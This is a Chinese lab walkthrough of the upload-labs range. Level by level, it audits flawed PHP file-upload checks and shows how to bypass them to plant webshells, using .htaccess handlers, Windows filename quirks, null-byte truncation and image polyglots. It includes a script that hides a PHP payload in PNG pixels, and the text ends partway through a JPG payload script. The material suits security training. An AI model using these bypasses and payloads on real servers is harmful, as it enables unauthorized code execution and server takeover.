目录
[1. 思路](#1. 思路)
[2. 实操](#2. 实操)
[1. 准备php文件](#1. 准备php文件)
[2. 上传](#2. 上传)
[1. 准备图片码](#1. 准备图片码)
[2. Burp抓包](#2. Burp抓包)
[3. 在文件夹里查看](#3. 在文件夹里查看)
[1. 大小写](#1. 大小写)
[2. 添加后缀](#2. 添加后缀)
[1. 上传](#1. 上传)
[2. 抓包改包](#2. 抓包改包)
[3. 验证](#3. 验证)
靶场准备
-
安装
phpstudy
-
靶场解压至
phpstudy
下的www
目录 -
打开
phpstudy
,启动apache
,版本不要太高 -
运行靶场的
phpstudy.exe
文件,显示成功,就在浏览器访问靶场
复现
pass-01
代码审计
php
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
执行逻辑
temp_file
记录上传文件的临时名称
img_path
是为上传文件构造的新路径用
move_uploaded_file
函数把文件移动到img_path
下通过
file.substring(file.lastIndexOf("."));
获取文件的后缀和白名单的
3
种文件类型对比,判断是否属于其中的3
类。属于则可以直接上传,否则就上传失败
文件上传
方法一:直接修改或删除js脚本
-
打开
BurpSuit
,开启抓包 -
先上传一个符合要求的图片
-
选中包,右键,选择
Do intercept --> Response to this request
,之后放包 -
之后立马就可以抓到另一个包,打开就可以看到响应部分,如下图

-
之后,修改
.jpg|.png|.gif
的当中的任何一个为.php
,然后保存放包 -
然后进到靶场,上传准备好的
webshell
,此时webshell
是可以成功上传的,可以打开uploasd
文件夹看一下

- 访问一下上传的文件试一下

- 蚂剑再验证一下

都没有问题
方法二:修改文件后缀
-
把编码好的
webshell
的后缀修改为符合条件的后缀 -
打开
Burp
抓包 -
在靶场上传
-
打开抓到的数据包,传给
Repeter
模块,然后把文件的后缀恢复,点击send
就可以了
跟方法一差不多,这里就不做演示了,如果把方法一实践一遍,那是完全可以实现方法二的。
pass-02
代码审计
php
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
?>
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器。</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示:".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>
<?php
include '../footer.php';
?>
其他地方就不分析了,主要看这里
enctype="multipart/form-data"
这个设置表明
Content-Type
这个键的值是multipart/form-data
,而这个值的一大特点如下
将请求体分成多个部分(parts),每个部分可以包含不同的数据(如表单字段、文件内容等)。
每个部分都有自己的
Content-Type
和Content-Disposition
头部,允许客户端指定文件的类型和名称。然后某些服务器可能只检查请求头中的
Content-Type
,而没有深入解析multipart/form-data
的每个部分。例如,服务器可能只检查请求头中的
Content-Type: multipart/form-data
,而忽略每个部分的Content-Type
。利用这个逻辑漏洞,伪造文件类型:
- 在
multipart/form-data
的某个部分中伪造Content-Type
,将 PHP 文件的Content-Type
设置为image/jpeg
,从而绕过服务器的文件类型检查。
文件上传
1. 思路
直接在靶场上传一个php
文件,然后使用Burp
抓包,把数据包发到Repeter
模块,然后修改Content-Type
的类型为image/ipeg
(代码审计得到的结果,自行审计),Send
之后就可以访问文件或者使用蚁剑测试是否成功了
2. 实操
-
上传
php
文件 -
抓包并改包

- 蚁剑连接测试

连接成功。
pass-03
这一关弄了一个黑名单,黑名单里面的后缀文件不允许上传,其实跟前两关没啥区别。而且很简单。
代码审计
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
过程:
先判断文件是否存在,若存在,则获取其文件名称
通过
trim
函数去除其文件名称多余的空白字符 或者转义字符。然后通过其自定义的
deldot
函数删除其文件末尾的点,再通过
strrchr
函数获取从文件名中最后一个.
符号开始的后面所有字符串(若上传文件为xx.php
即可以获取后缀.php
)然后通过
strtolower
函数将后缀名全部转换为小写,然后通过
str_ireplace
函数将后缀名中如果存在的::$DATA
符号删去。然后使用
trim
函数对后缀进行去空格操作。通过
in_array
函数对比其后缀是否属于$deny_ext
中的几项,若不属于,则继续上传
文件上传
这一关特别简单,方法很多,比如把.php
改为.php3
或者怎样的,只要不是黑名单中的其中一个就成了。
所以就可以这样做:
-
直接上传
php
文件 -
使用
Burp
抓包 -
发给
Repeter
模块,修改文件后缀为.php3

- 访问测试:

pass-04
代码审计
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关跟上一关并无太大区别,无非就是黑名单多了一些,没关系,我们利用.htaccess
文件就好。
.htaccess
文件可以简单理解为一个提前预制的命令,在文件里面写好要运行哪个文件,以什么形式执行, 那么上传的那个文件就会按我们提前设置好的要求执行,即使是在下级目录也可以。
文件上传
首先是开启.htaccess
功能。
找到phpstudy
下的apache
文件夹, 如
D:\Softwares\phpStudy\phpstudy_pro\Extensions\Apache2.4.39\conf
打开httpd.conf
文件,把AllowOverride
设置为ALL

然后构造.htaccess文件,编写一下内容
<FilesMatch "info.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后先上传./htaccess
文件(.htaccess
文件就叫这个名,不需要添加其他)
再上传修改了文件后缀为.jpg
的php
文件,然后访问

结果如上,成功上传
pass-05
代码审计
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里看着唬人,其实一个大小写就绕过了,把.php
改为.PHP
就成功上传了
没啥技术含量就不说了,下一关
pass-06
代码审计
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这一关有点意思,主要是它把.htaccess
过滤掉了,也就是说不能像pass-04
那样处理了。但是却有更好的处理办法,这里就要引入windows
下文件系统的一些特性了。在windows
中,文件名属于以下一种情况是会自动去掉末尾
-
文件名最后是
.
-
文件名最后有
空格
-
文件名最后有
::$DATA
那么,利用这个特性,就可以绕过过滤了。
文件上传
首先打开Burp
准备抓包
然后直接上传一个.php
文件
在Burp
里把包发给Repeter
模块,在模块里给文件添加以上说到的后缀,然后在upload
文件夹里验证是否上传成功
抓包修改如下:


再来看一看upload
文件夹

注意,这一关的代码里有去.
和去::$DATA
的函数,所以不能通过这两个绕过。
话虽这样说,但是我这样:$DATA
,也就绕过了嘛
pass-07
代码审计
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
对比上一关的源码就很清晰了,这一关就是要在文件末尾加.
以绕过,因为连去掉.
的函数都没有了嘛
这一关的

上一关的

这就很简单了,一样的步骤,不演示了,下一关
pass-08
代码审计
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
源码里有去掉.
的,有去掉空格
的,所以这一关就是要使用::$DATA
绕过了,对比前两关的代码就可以看出来了
6、7、8
三关就是利用windows
文件系统的特性(而且还要求是黑名单)绕过的,很简单,在pass-06
已经演示一种方法了,剩下的一样的步骤,就不演示了。但是注意了这些方法在Linux
环境下大概率饶不了。
pass-09
代码审计
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
四个函数,deldot、strtolower、str_ireplace、trim
,把大小写、Windows
文件系统特性都过滤了,怎么办呢?
简单啊,它不是先删除.
,然后转小写,然后删::$DATA
,然后去空格
吗,那加一层码喽。
这样构造
php
mm.php.空格.
这样会先删除 . ,文件就变成这样 mm.php.空格,注意这里还有空格的;
然后什么转小写啥的就不管了,之后去空格嘛,这样文件就变成这样了 mm.php.;
然后没有匹配黑名单啊,所以上传嘛,然后又是Windows文件系统特性,把最后的 . 去掉,然后就成功上传了嘛;
如下图所示:


pass-10
代码审计
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这个就更简单了,利用str_ireplace
函数,把匹配黑名单的文件后缀置空嘛
那还是一样嘛。加一层码
php
mm.phphpp
它又不调用两次str_ireplace
函数,既然要过滤,那给它嘛,它把里面的php置空还有外层呢
文件上传
先构造好文件
php
mm.phphpp
然后直接上传,再访问验证就好了
上传:

验证:

pass-11
这个题在实际应用中可能衍生一种竞争型的解法,但是需要多次尝试,这里给出思路。
这是一个以
php
文件上传的一个特性为基础的思路。在php
中,上传的文件会先到达temp
目录下,然后使用move
函数移动到上传文件夹下,再把临时文件删除。在移动临时文件和删除临时文件这个间隙中间有一个很短很短的窗口期,那么假设它有一个读文件的函数,比如
<? php file_get_contents($_GET['a'],'<?php'){ include() } ?>
它先读,如果匹配了
php
后缀,那就直接die
,如果不匹配,就include
。那么,如果先上传一个无关紧要的文件,在它读的过程中再上传我们的木马,让木马正好走到
file_get_contents
函数下,函数在读无关紧要文件时没有发现问题,就会include
,此时就会把我们的木马一起include
,这样就可以上传webshell
。但是这个窗口期很短很短,所以可以预料的是即使成功了也是
n
次尝试的。这个思路是解一个国际
CTF
比赛的思路,很值得思考借鉴。
代码审计
php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
虽然上面给出了一种竞争型的解法,但是实际上这一题不是竞争解法。这里它使用了白名单。
它会截取文件的后缀比对白名单,符合才会允许上传。那也许有人说了,改后缀不就好了吗,那不就可以上传了吗,是的,允许上传,但是解析不了,相当于真的把
php
变成jpg
了,毕竟这不是前端绕过啊,前端绕过我们是上传php
,然后Burp
抓包修改的,本质还是上传.php
。那怎么办呢?
其实这一题,用户可以控制上传文件最终落户的目录,我们可以抓一个包验证一下

既然这样,那我们就在这里动手脚,文件的拼接不是这样吗
php
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
如果我在sava_path
这里做一个截断,把后面的内容都不要了,比如这样
php
../upload/web.php%00
%00 是 URL编码 的 \0 的十六进制,而 \0 是 C语言 的结束字符
php底层也是C语言嘛
这样截断之后,move
函数在移动的时候,本来是要移动到upload
文件夹下,再重命名,但是现在没有重命名这一步了,而且也不是放在文件夹下,而是直接放在文件里,相当于move
函数直接把我们上传的文件的内容直接放到web.php
里面。这样就上传成功了。
来验证一下
文件上传
首先构造好jpg
文件,
php
<?php phpinfo();
然后修改后缀为jpg
。
打开Burp
准备好抓包之后上传jpg
文件

打开看一下文件内容

pass-12
代码审计
php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
这一关跟pass-11
一样,就是save_path
的接收方式变了,pass-11
是get
型,这里变为了post
型,我们抓一个包看一下变化就知道了

原本在1
的位置,现在变到2
的位置了,需要在3
那里改。但是在这个位置改的话就不能使用%00
,因为这里不属于地址栏,需要使用另一种方法。
文件上传
先这样构造:upload/web.php空格
然后点击HEX
,找到对应位置,把20
改为00

保存好,然后返回Pretty
,点1
,进行查看,就会发现有\0
了

然后Send
就可以上传成功了
pass-13
代码审计
php
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
审计代码,发现这一关会对图片内容进行检测。也就是说,把php
后缀修改为jpg
之类的已经不能上传了。但是呢它对内容的检测又不完善,所以一种思路就是把payload
插入到图片中去。
文件上传
这在windows
环境下就需要使用以下命令了
bash
copy 文件A全称 /b + 文件B /a 新文件名

这样就能得到一个包含php payload
的png
文件,然后还要验证,首先是查看图片是否可以打开,不过不行那就换图片再插入,一定要保证图片可以打开。确保图片可以打开之后,使用记事本打开,找一下插入的paylod
在不在

也可以使用专业的工具010Editor
查看。
这些保证没有问题之后就可以上传了,不过即使上传成功了,也不一定能执行,因为有可能图片有问题。这时候之只能换图片不断尝试了
pass-14
代码审计
bash
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
跟pass-13
一样,就是加了一些判断图片后缀和大小的代码,对于这一关而言,没有什么太大的作用,按照pass-13
的方法,多试几遍就能成功了
pass-15
代码审计
php
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
跟pass-13、pass-14
一样的,把php
的payload
插入到图片中,然后检查没有问题之后就一直尝试,直到成功为止,思路是没有问题的,就是需要一直试,一遍不行就多来几遍。
pass-16
代码审计
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
这一关的亮点在于使用
imagecreatefromgif
函数,把我们上传的图片打乱,然后生成新的图片,但是人肉眼看起来没有变化。这样一来,我们插入的
payload
就有可能被打乱,导致webshell
上传失败。这也是防御图片码的一种方法,但最好的方法是没有文件包含这个漏洞。
我们可以看一下是否属实嘛
原来的图片码:

上传后的图片码:

那怎么办呢?
想一下,有没有可能,这三种格式的图片会有一部分区域,这个区域在整个图片打乱前和打乱后是不变的,如果有,那我们把payload
插入到这块区域就能利用文件包含漏洞把webshell
上传成功。
文件上传
gif
先上传一张正常的图片,然后下载下来,打开以一些专业的16进制查看工具,比如010editor
,找到那个前后都没有被打乱的地方,把payload
插入那个位置,然后再上传插入好payload
的图片,之后使用文件包含验证即可

这个思路没有问题,问题是运气成分太大,如果你运气好,刚好拿到的图片问题不大,那一下就好了,如果运气不好,那你可能试了十几张图片依然没结果,但是没办法,就是要一直试。
png
png
图片插入payload
比gif
复杂一点,因为png
图片是由固定数据块组成的,如果不能区分清楚的话很有可能导致上传是报错。
对与插入payload
,由以下两种方法
一、在PLTE数据块插入
这种方法有些别扭,因为需要保证图片是索引颜色类型,也就是说如果文件使用真彩色或灰度,可能没有PLTE
块。所以这里只提出来,就不演示了
二、使用脚本
脚本编码:
php
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
这是php
脚本,保存好之后,在浏览器运行,就能得到一插入好payload
的png
图片



然后上传,再用蚁剑连接测试一下就好

jpg
jpg
差不多,也是用脚本
脚本代码:
php
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
